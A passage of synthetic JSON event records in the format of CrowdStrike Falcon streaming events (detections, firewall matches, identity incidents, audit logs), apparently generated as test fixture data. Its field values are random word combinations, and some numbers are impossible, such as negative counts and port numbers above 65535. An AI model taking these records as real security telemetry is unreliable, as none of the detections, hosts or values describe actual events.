"faithfulsedge","offset": -1153044861,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "Finnishgroup","Highlights": ["everythingcackle"],"MatchedTimestamp": 1686889114000,"RuleId": "anythingsafety","RuleName": "hungryyear","RuleTopic": "everybodyperson","RulePriority": "whichcase","ItemId": "theirfame","ItemType": "LEGACY_TI","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "howpod","offset": -337225967,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 2039293594,"ProcessEndTime": 78241824,"ProcessId": -1204934519,"ParentProcessId": -1189832669,"ComputerName": "cooperativesoup","UserName": "Senegalesegarden","DetectName": "cleverworld","DetectDescription": "ring movement omen plane dynasty murder genetics gun shrimp severalforest","Severity": 0,"SeverityName": "Critical","FileName": "eitherchest","FilePath": "wherereel\\eitherchest","CommandLine": "C:\\Windows\\yourflock","SHA256String": "so fewream","MD5String": "gracefulplace","SHA1String": "whosemob","MachineDomain": "a little bitcovey","NetworkAccesses": [{"AccessType": -2079586564,"AccessTimestamp": 1751371565,"Protocol": "wherecleverness","LocalAddress": "215.12.217.211","LocalPort": 17654,"RemoteAddress": "159.133.111.242","RemotePort": 43615,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/itsbale?_cid=xxxxxxx","SensorId": "whichhead","IOCType": "domain","IOCValue": "angrywheat","DetectId": "hisproduction","LocalIP": "145.186.39.187","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "itchyplan","Technique": "everybodymuster","Objective": "coupleriver","PatternDispositionDescription": "everyonetrust","PatternDispositionValue": -1306924973,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": true,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": false},"ParentImageFileName": "itscompany","ParentCommandLine": "Polynesiandynasty","GrandparentImageFileName": "cleanband","GrandparentCommandLine": "onebatch","HostGroups": "thatmonkey","AssociatedFile": "realistickindness","PatternId": 1976579535}} +{"metadata": {"customerIDString": "energeticmob","offset": 1498856336,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "finecrowd","Highlights": ["fewvilla"],"MatchedTimestamp": 1686889114000,"RuleId": "manytroop","RuleName": "theircase","RuleTopic": "doublecast","RulePriority": "mytea","ItemId": "howparty","ItemType": "6G_EXTERNAL","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "whatshower","offset": -423824685,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "thisream","CustomerId": "everybodyfleet","Ipv": "174.242.82.175","CommandLine": "theirtribe","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": false,"Monitor": false},"HostName": "mygame","ICMPCode": "yourcompany","ICMPType": "thatrefrigerator","ImageFileName": "Swaziproduct","LocalAddress": "97.197.65.46","LocalPort": "30205","MatchCount": -1614755702,"MatchCountSinceLastReport": 1290226754,"NetworkProfile": "whydarkness","PID": "-475541700","PolicyName": "whatneck","PolicyID": "nopart","Protocol": "nonestand","RemoteAddress": "140.20.221.162","RemotePort": "69013","RuleAction": "nobodyuncle","RuleDescription": "hand work cello school jewelry philosophy cigarette team zealousdisregard","RuleFamilyID": "cleargovernment","RuleGroupName": "cooperativeposse","RuleName": "anymagazine","RuleId": "eithertrousers","Status": "itrabbit","Timestamp": 1751371830,"TreeID": "hundredspot"}} +{"metadata": {"customerIDString": "Gaussianbundle","offset": -1609299796,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "onefrailty","IncidentDescription": "bale crowd production number case clump shower air party eye goal covey couch love thosehedge","Severity": 60,"SeverityName": "High","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "ouraircraft","UserName": "thesehealth","EndpointName": "plenty ofbody","EndpointIp": "68.77.236.181","Category": "Detections","NumbersOfAlerts": -1236398259,"NumberOfCompromisedEntities": -754867910,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anyoneidea?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "howroom","offset": 1622494791,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "muchdonkey","CustomerId": "severalclothing","Ipv": "227.251.4.204","CommandLine": "Indonesianregiment","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": true,"Monitor": false},"HostName": "itsemployment","ICMPCode": "manycovey","ICMPType": "whereanthology","ImageFileName": "Swazibox","LocalAddress": "1.133.86.146","LocalPort": "40133","MatchCount": -1141462530,"MatchCountSinceLastReport": 923730747,"NetworkProfile": "so fewcloud","PID": "1892271720","PolicyName": "littleleap","PolicyID": "mosttime","Protocol": "mygroup","RemoteAddress": "186.11.145.208","RemotePort": "33604","RuleAction": "Asianpack","RuleDescription": "holiday pollution mob sofa luxury captain regiment salt theresoap","RuleFamilyID": "ourgalaxy","RuleGroupName": "whereleap","RuleName": "Tibetancackle","RuleId": "wherewoman","Status": "theireye","Timestamp": 1751371830,"TreeID": "wherepack"}} +{"metadata": {"customerIDString": "theirroom","offset": -1623094126,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "thatarmy","DetectName": "herelove","DetectDescription": "pound hand spaghetti patience group stand body logic regiment ability problem enthusiasm posse exaltation fleet cleverness batch clump army staff body sheaf sparsepharmacy","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/lemonyband?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 70,"SeverityName": "Low","Tactic": "howcrib","Technique": "fancysnow","Objective": "Dutchstack","SourceAccountDomain": "grumpyhorde","SourceAccountName": "widebatch","SourceAccountObjectSid": "therebook","SourceEndpointAccountObjectGuid": "ourcaravan","SourceEndpointAccountObjectSid": "Philippinesecond","SourceEndpointHostName": "giftedpod","SourceEndpointIpAddress": "63.39.212.117","SourceEndpointSensorId": "confusingworld","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "scarylibrary","PatternId": -247280516}} +{"metadata": {"customerIDString": "hisquiver","offset": -1554087733,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "mygroup","PolicyId": 1880370031,"PolicyStatement": "therestraw","CloudProvider": "frailjuice","CloudService": "someonesocks","Severity": 86,"SeverityName": "Informational","EventAction": "dulllibrary","EventSource": "Bahraineanomen","EventCreatedTimestamp": 1663011160,"UserId": "herband","UserName": "whichchoker","UserSourceIp": "81.158.84.27","Tactic": "howbook","Technique": "heregroup"}} +{"metadata": {"customerIDString": "thoseschool","offset": 1293418415,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thatman","UserIp": "77.245.46.214","OperationName": "selfAcceptEula","ServiceName": "detections","AuditKeyValues": [{"Key": "mylight","ValueString": "thereday"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "whyteam"}}} +{"metadata": {"customerIDString": "thosething","offset": -163363404,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "onebed","UserIp": "168.23.53.99","OperationName": "activateUser","ServiceName": "detections","AuditKeyValues": [{"Key": "thoseclass","ValueString": "whichwork"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "littleline"}}} +{"metadata": {"customerIDString": "theirpoint","offset": 712655721,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "condemnedwad","HostnameField": "energeticspeed","UserName": "fewdynasty","StartTimestamp": 1582830734,"AgentIdString": "lots ofenvy"}} +{"metadata": {"customerIDString": "thiscaravan","offset": 696373221,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "hispack","UserID": "whatgovernment","ExecutionID": "thosebox","ReportID": "Africandynasty","ReportName": "notail","ReportType": "poortea","ReportFileReference": "whichpoverty","Status": "nonedream","StatusMessage": "wherenest","ExecutionMetadata": {"ExecutionStart": 862719019,"ExecutionDuration": -312456531,"ReportFileName": "hundredcurrency","ResultCount": 2037711995,"ResultID": "innocentworld","SearchWindowStart": 2002378724,"SearchWindowEnd": 886305071}}} +{"metadata": {"customerIDString": "fewgang","offset": 264264492,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Plutoniancoffee","PolicyId": -848441892,"PolicyStatement": "thistoothpaste","CloudProvider": "anyriches","CloudService": "nonepoint","Severity": 93,"SeverityName": "Medium","EventAction": "whylife","EventSource": "jealousleap","EventCreatedTimestamp": 1663011160,"UserId": "thishour","UserName": "whatoxygen","UserSourceIp": "141.244.35.219","Tactic": "Himalayanpatrol","Technique": "whosetrench coat"}} +{"metadata": {"customerIDString": "Mayantrip","offset": 372428075,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "myclarity","UserID": "thatchild","ExecutionID": "howpod","ReportID": "thiscollection","ReportName": "thesecast","ReportType": "Taiwaneseproject","ReportFileReference": "repellingproduction","Status": "somebodyjersey","StatusMessage": "whatcrew","ExecutionMetadata": {"ExecutionStart": -968874194,"ExecutionDuration": -1986236896,"ReportFileName": "Confucianright","ResultCount": -827841076,"ResultID": "yourtroop","SearchWindowStart": -399355642,"SearchWindowEnd": -411107273}}} +{"metadata": {"customerIDString": "whichlife","offset": -651006186,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "itscase","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\whichblender","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "host solitude pair back person mytiming","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hundredsgroup?_cid=xxxxxxx","FileName": "thosejuicer","FilePath": "Beethovenianelection\\thosejuicer","FilesAccessed": [{"FileName": "thosejuicer","FilePath": "Beethovenianelection\\thosejuicer","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "thosejuicer","FilePath": "Beethovenianelection\\thosejuicer","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\allthing","GrandParentImageFileName": "significantbale","GrandParentImageFilePath": "yourkangaroo\\significantbale","HostGroups": "everythingmurder","Hostname": "Brazilianmethod","LocalIP": "105.2.209.34","LocalIPv6": "180.201.206.109","LogonDomain": "Atlanticpack","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "numerousyear","Name": "insufficientproduct","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1854815222,"ConnectionDirection": 2,"IsIPV6": false,"LocalAddress": "29.28.201.90","LocalPort": 64866,"Protocol": "wherenap","RemoteAddress": "197.196.30.79","RemotePort": 57095}],"Objective": "somecatalog","ParentCommandLine": "C:\\Windows\\eithertroupe\\heavymustering","ParentImageFileName": "heavymustering","ParentImageFilePath": "sometheater\\heavymustering","ParentProcessId": 1544348969,"PatternDispositionDescription": "hostel pod goal refrigerator danger equipment safety dream school sedge part cackle mustering hair bill street company bale answer apartment theirwisp","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": true,"KillActionFailed": true,"KillParent": true,"KillProcess": true,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": true,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": -1815328339,"PatternId": 1901230339,"PlatformId": "theircare","PlatformName": "Mac","ProcessEndTime": 74838873,"ProcessId": 346232856,"ProcessStartTime": 665231140,"ReferrerUrl": "Alpinedisregard","SHA1String": "itway","SHA256String": "anygift","Severity": 39,"SeverityName": "High","SourceProducts": "whatcast","SourceVendors": "therearchipelago","Tactic": "anygroup","Technique": "fulltroop","Type": "ldt","UserName": "significantnecklace"}} +{"metadata": {"customerIDString": "herscold","offset": -232359573,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "mostparty","UserID": "Intelligentroad","ExecutionID": "someonebattery","ReportID": "comfortablefactory","ReportName": "singlechapter","ReportType": "nonechest","ReportFileReference": "oneinformation","Status": "over thereoil","StatusMessage": "itswisdom","ExecutionMetadata": {"ExecutionStart": -386107758,"ExecutionDuration": -487472309,"ReportFileName": "Bismarckianscold","ResultCount": -1005099107,"ResultID": "whatwrist","SearchWindowStart": 1183411956,"SearchWindowEnd": 564657326}}} +{"metadata": {"customerIDString": "theseevidence","offset": 1659127034,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "whatgeneration","CustomerId": "thatcare","Ipv": "147.243.60.212","CommandLine": "hundredsclass","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": true,"Monitor": true},"HostName": "nobodyshower","ICMPCode": "theseocean","ICMPType": "hugeream","ImageFileName": "whyelegance","LocalAddress": "101.155.223.92","LocalPort": "73825","MatchCount": -892950503,"MatchCountSinceLastReport": -360256119,"NetworkProfile": "whoseplant","PID": "-178846678","PolicyName": "thathandle","PolicyID": "Koreanpage","Protocol": "eacharchipelago","RemoteAddress": "232.232.18.172","RemotePort": "13070","RuleAction": "severalfather","RuleDescription": "river bulb ball mother mob lawyer severalthing","RuleFamilyID": "ourtowel","RuleGroupName": "helpfularmy","RuleName": "someonepacket","RuleId": "Torontonianposse","Status": "somechoir","Timestamp": 1751371830,"TreeID": "everyonebelief"}} +{"metadata": {"customerIDString": "Englishcompany","offset": -1340580103,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "Russiantoes","DetectName": "herebird","DetectDescription": "unemployment person man chaise longue board cigarette warmth care stack shirt salt cackle cast shirt imagination world mob divorce wealth stand whale a lotcrowd","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/variedposse?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 0,"SeverityName": "Low","Tactic": "littlecabinet","Technique": "yourpack","Objective": "a little bitegg","SourceAccountDomain": "hercompany","SourceAccountName": "excitingball","SourceAccountObjectSid": "whosemuster","SourceEndpointAccountObjectGuid": "allgroup","SourceEndpointAccountObjectSid": "anyevidence","SourceEndpointHostName": "Belgianboard","SourceEndpointIpAddress": "43.83.242.86","SourceEndpointSensorId": "a littlething","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "foolishteam","PatternId": -1824261729}} +{"metadata": {"customerIDString": "whymob","offset": 1116714742,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -513079484,"ProcessEndTime": -762341576,"ProcessId": 437581571,"ParentProcessId": -457652587,"ComputerName": "thissand","UserName": "cooperativemusician","DetectName": "Jungianunemployment","DetectDescription": "tolerance orchard product power team thatbale","Severity": 5,"SeverityName": "High","FileName": "emptydollar","FilePath": "whosepod\\emptydollar","CommandLine": "C:\\Windows\\therehat","SHA256String": "halfstack","MD5String": "myveterinarian","SHA1String": "whatcravat","MachineDomain": "whichknowledge","NetworkAccesses": [{"AccessType": 340400892,"AccessTimestamp": 1751371565,"Protocol": "finecloud","LocalAddress": "39.14.109.119","LocalPort": 13340,"RemoteAddress": "152.249.254.224","RemotePort": 36886,"ConnectionDirection": 0,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/scarypod?_cid=xxxxxxx","SensorId": "whichchild","IOCType": "hash_sha256","IOCValue": "wearywealth","DetectId": "manycity","LocalIP": "9.206.114.254","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "a little bitchild","Technique": "Welshdisregard","Objective": "grumpyequipment","PatternDispositionDescription": "skirt brace mustering time eye salt beauty muddypod","PatternDispositionValue": 1470298048,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": true,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": true,"SuspendParent": false},"ParentImageFileName": "Africancackle","ParentCommandLine": "cutestairs","GrandparentImageFileName": "alivecomfort","GrandparentCommandLine": "yourposse","HostGroups": "substantialemployment","AssociatedFile": "successfulbowl","PatternId": -1228625367}} +{"metadata": {"customerIDString": "Confucianpoint","offset": -2128929409,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "homelesspart","PolicyId": -1028354393,"PolicyStatement": "abundantsleep","CloudProvider": "everybodygroup","CloudService": "heavyhost","Severity": 7,"SeverityName": "Critical","EventAction": "anyquality","EventSource": "selfishhost","EventCreatedTimestamp": 1663011160,"UserId": "Viennesecash","UserName": "yourbunch","UserSourceIp": "92.203.240.122","Tactic": "anythingweight","Technique": "whosearmy"}} +{"metadata": {"customerIDString": "hisclass","offset": -845093918,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "joyousmustering","Region": "us-east-1","ResourceId": "numerouspack","ResourceIdType": "Guyanesevoice","ResourceName": "yourcluster","ResourceCreateTime": 0,"PolicyStatement": "nobodypatrol","PolicyId": 182778155,"Severity": 52,"SeverityName": "Informational","CloudPlatform": "Cormoranchoir","CloudService": "thismob","Disposition": "Passed","ResourceUrl": "significantparty","Finding": "naughtyposse","Tags": [{"Key": "theirbunch","ValueString": "whytroop"}],"ReportUrl": "variedday","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "elegantcase","offset": 1979368857,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "anypoint","HostnameField": "yourboy","UserName": "so fewworld","StartTimestamp": 1582830734,"AgentIdString": "proudboard"}} +{"metadata": {"customerIDString": "Hitlerianbeauty","offset": -596861980,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "Lilliputianslavery","HostnameField": "awfulwealth","UserName": "thatcafe","StartTimestamp": 1582830734,"AgentIdString": "theirslavery"}} +{"metadata": {"customerIDString": "itsconditioner","offset": 337202236,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "anyhorde","DetectName": "hundredsband","DetectDescription": "pasta child wisp knife book noise delay stack choir apartment management toilet owl idea account host man street time park window part shinyroom","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Intelligentpod?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 50,"SeverityName": "Informational","Tactic": "hundredspyramid","Technique": "Spanishpacket","Objective": "therechild","SourceAccountDomain": "howrange","SourceAccountName": "ourloss","SourceAccountObjectSid": "thattravel","SourceEndpointAccountObjectGuid": "outrageousbottle","SourceEndpointAccountObjectSid": "mystring","SourceEndpointHostName": "clearbook","SourceEndpointIpAddress": "31.228.65.165","SourceEndpointSensorId": "Christianidea","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "sparsebowl","PatternId": 1619711707}} +{"metadata": {"customerIDString": "nocast","offset": 179318870,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "anythingapple","MobileDetectionId": -1512737247,"ComputerName": "poisedcast","UserName": "substantialposse","ContextTimeStamp": 1649061056,"DetectId": "anyonedynasty","DetectName": "everyonebakery","DetectDescription": "trip place train kindness luxury doctor religion wherebattery","Tactic": "filthything","TacticId": "spottedpiano","Technique": "Aristoteliangrade","TechniqueId": "thesepack","Objective": "eachcrowd","Severity": 24,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/over therecase?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "smilingscold","AndroidAppLabel": "enough ofmovement","DexFileHashes": "nobodytrip","ImageFileName": "dangerousgeneration","AppInstallerInformation": "hisliterature","IsBeingDebugged": false,"AndroidAppVersionName": "thatgalaxy","IsContainerized": false}]}} +{"metadata": {"customerIDString": "manycrowd","offset": -1012940335,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Senegalesepoverty","UserIp": "33.18.5.30","OperationName": "activateUser","ServiceName": "detections","AuditKeyValues": [{"Key": "nonechild","ValueString": "fewflour"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "embarrassedtable"}}} +{"metadata": {"customerIDString": "whichdisregard","offset": 990227271,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "whichparty","HostnameField": "whybrilliance","UserName": "thoughtfulnumber","StartTimestamp": 1582830734,"AgentIdString": "nobodyart"}} +{"metadata": {"customerIDString": "yourbouquet","offset": -209806479,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "gentlequiver","State": "closed","FineScore": 7.892927816545352,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "somework","HostID": "nonestand","LMHostIDs": ["enoughtravel"],"UserId": "allclass"}} +{"metadata": {"customerIDString": "someoneproblem","offset": -1098262491,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "whatmotherhood","DataDomains": "Network","Description": "envy wealth shower fun board way case couch seed hail friend batch punctuation elegance party progress game neck friendship whosegossip","DetectId": "Canadiantiming","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "199.170.95.179","HostNames": "over therepanther","Name": "emptytroupe","PatternId": 2094324087,"Severity": 100,"SourceProducts": "hugepod","SourceVendors": "nobodyorchard","StartTimeEpoch": 1643317697728000000,"TacticIds": "anystrawberry","Tactics": "anyfact","TechniqueIds": "whybook","Techniques": "hissheaf","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "somebodyslavery","offset": 1805861405,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "hereweek","UserIp": "145.167.22.95","OperationName": "grantCustomerSubscriptions","ServiceName": "detections","AuditKeyValues": [{"Key": "Beethoveniangeneration","ValueString": "littleapp"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "whyhusband"}}} +{"metadata": {"customerIDString": "theremurder","offset": -1369577687,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "somedeskpath","MobileDetectionId": -254520824,"ComputerName": "herechoir","UserName": "severalband","ContextTimeStamp": 1649061056,"DetectId": "thisgalaxy","DetectName": "yourbevy","DetectDescription": "whereworld","Tactic": "carefullake","TacticId": "youridea","Technique": "sillyhand","TechniqueId": "severalroad","Objective": "whosehomework","Severity": 17,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Slovakcompany?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "thosetiger","AndroidAppLabel": "heavychild","DexFileHashes": "whereconfusion","ImageFileName": "Antarcticnest","AppInstallerInformation": "Elizabethanpencil","IsBeingDebugged": false,"AndroidAppVersionName": "thathost","IsContainerized": false}]}} +{"metadata": {"customerIDString": "whichregiment","offset": -1643404773,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whichdynasty","Region": "us-east-2","ResourceId": "howgroup","ResourceIdType": "myboat","ResourceName": "thisdesktop","ResourceCreateTime": 0,"PolicyStatement": "someonecase","PolicyId": -1541774944,"Severity": 77,"SeverityName": "Informational","CloudPlatform": "Benineseinfancy","CloudService": "whereproject","Disposition": "Passed","ResourceUrl": "fullsupermarket","Finding": "Lilliputianshampoo","Tags": [{"Key": "thatbody","ValueString": "thatradio"}],"ReportUrl": "itstroupe","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "realisticthrill","offset": -1392969674,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -1219808772,"ProcessEndTime": -1668559174,"ProcessId": 335206452,"ParentProcessId": 1114175168,"ComputerName": "manyfreedom","UserName": "hilariousboxers","DetectName": "Germanparty","DetectDescription": "luggage team flock driver weather cackle danger board art company donkey calm trip government oil stand leggings belt fewhost","Severity": 2,"SeverityName": "Medium","FileName": "handsometrip","FilePath": "herway\\handsometrip","CommandLine": "C:\\Windows\\wildcackle","SHA256String": "itspart","MD5String": "ourgoodness","SHA1String": "Newtoniandelay","MachineDomain": "doublebow","NetworkAccesses": [{"AccessType": -332802669,"AccessTimestamp": 1751371565,"Protocol": "everythingunion","LocalAddress": "184.181.7.56","LocalPort": 11688,"RemoteAddress": "19.40.4.204","RemotePort": 17734,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whichdynasty?_cid=xxxxxxx","SensorId": "Nepaleseharvest","IOCType": "hash_sha256","IOCValue": "itssmoke","DetectId": "thesedream","LocalIP": "213.173.16.80","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "Indonesiancrowd","Technique": "itsflock","Objective": "mystring","PatternDispositionDescription": "Shakespeareanmurder","PatternDispositionValue": -588935804,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": true,"Rooting": true,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "enough ofirritation","ParentCommandLine": "over theremob","GrandparentImageFileName": "exuberantleg","GrandparentCommandLine": "allcard","HostGroups": "wherebrace","AssociatedFile": "toughpacket","PatternId": 1308037568}} +{"metadata": {"customerIDString": "impromptushower","offset": 659051257,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1455768470,"ProcessEndTime": -266478582,"ProcessId": 1664722161,"ParentProcessId": -399833595,"ComputerName": "dizzyingreel","UserName": "whyplant","DetectName": "itbevy","DetectDescription": "bitterness work movement stream couch sedge hundredspaghetti","Severity": 3,"SeverityName": "Low","FileName": "whoseproblem","FilePath": "famouswidth\\whoseproblem","CommandLine": "C:\\Windows\\enough ofparty","SHA256String": "whosenoodles","MD5String": "anyoneheap","SHA1String": "Malagasyworld","MachineDomain": "toochest","NetworkAccesses": [{"AccessType": -995515466,"AccessTimestamp": 1751371565,"Protocol": "allteam","LocalAddress": "111.19.217.24","LocalPort": 53608,"RemoteAddress": "51.118.171.155","RemotePort": 2097,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/so fewsalary?_cid=xxxxxxx","SensorId": "allrainbow","IOCType": "command_line","IOCValue": "howjacket","DetectId": "thesebed","LocalIP": "22.0.228.148","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "whosecatalog","Technique": "importantclump","Objective": "whynature","PatternDispositionDescription": "husband pain class woman bouquet heralbum","PatternDispositionValue": 232362752,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": true,"SuspendParent": false},"ParentImageFileName": "severalkettle","ParentCommandLine": "anywall","GrandparentImageFileName": 